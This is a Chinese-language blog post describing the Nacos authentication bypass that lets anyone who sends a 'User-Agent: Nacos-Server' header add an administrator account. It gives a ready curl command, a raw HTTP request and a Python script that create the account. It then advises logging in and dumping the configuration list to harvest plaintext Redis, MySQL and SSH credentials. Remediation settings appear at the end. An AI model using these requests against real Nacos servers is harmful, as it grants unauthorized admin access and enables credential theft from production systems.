Nacos后台系统未授权添加管理员

一:什么是nacos

Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

服务(Service)是 Nacos 世界的一等公民。Nacos 支持几乎所有主流类型的“服务”的发现、配置和管理:
Kubernetes Service
gRPC & Dubbo RPC Service
Spring Cloud RESTful Service

更多可见 什么是 Nacos

漏洞概述

参考:
threedr3am发现的漏洞 https://github.com/alibaba/nacos/issues/4593
关于Nacos身份验证漏洞修复建议

Nacos官方仓库的issue中披露了Nacos存在一个由于不当处理User-Agent导致的鉴权绕过漏洞。

影响版本
Nacos <= 2.0.0-ALPHA.1(经测试2.1.0也是存在漏洞的)

漏洞复现

使用测试地址,正常访问它,后台页面如下:

假如访问地址显示404,那么只需要在域名后面添加nacos目录即可访问后台。

https:/xxxx/nacos


 

可以通过以下方式直接未授权添加nacos的管理员权限账号。

1、curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

2、使用burpsuite构造好请求包,构造的时候需要填好host和端口即可,然后进行repeater,如果返回包显示{"code":200,"message":null,"data":"create user ok!"}就说明添加账号成功。

POST /nacos/v1/auth/users HTTP/1.1
Host:xxxxx(自己填好目标)
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 29

username=test1&password=test1

3、使用python脚本进行添加。

def test_nacos():

    '''测试nacos漏洞'''

    url = 'https://xxxx/nacos/v1/auth/users?username=test&password=test'

    headers = {

        'Host': 'xxxxx',

        'User-Agent': 'Nacos-Server',

        'Accept-Encoding': 'gzip, deflate',

        'Accept-Language': 'zh-CN,zh;q=0.9',

        'Connection': 'close'

    }

    res = requests.post(url, headers=headers, verify=False)

    print(res.text)

漏洞利用

添加好账号密码之后,可使用这个账号登录到nacos后台,将其后台的【配置列表】信息dump出来进行进一步的利用。

注明:nacos是配置系统,类似于apollo一样,所以生产环境的话会存在很多明文配置好的账号,一般会有redis、mysql、ssh、web等账号。

2、漏洞修复

1、更新nacos到最新版本

2conf/application.properties配置中开启鉴权,启用新机制去避免被非法访问

# 开启鉴权
nacos.core.auth.enabled=true

# 关闭白名单功能
nacos.core.auth.enable.userAgentAuthWhite=false.

# 配置键值对 [键值对可以自定义]
nacos.core.auth.server.identity.key=aaa
nacos.core.auth.server.identity.value=bbb
 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值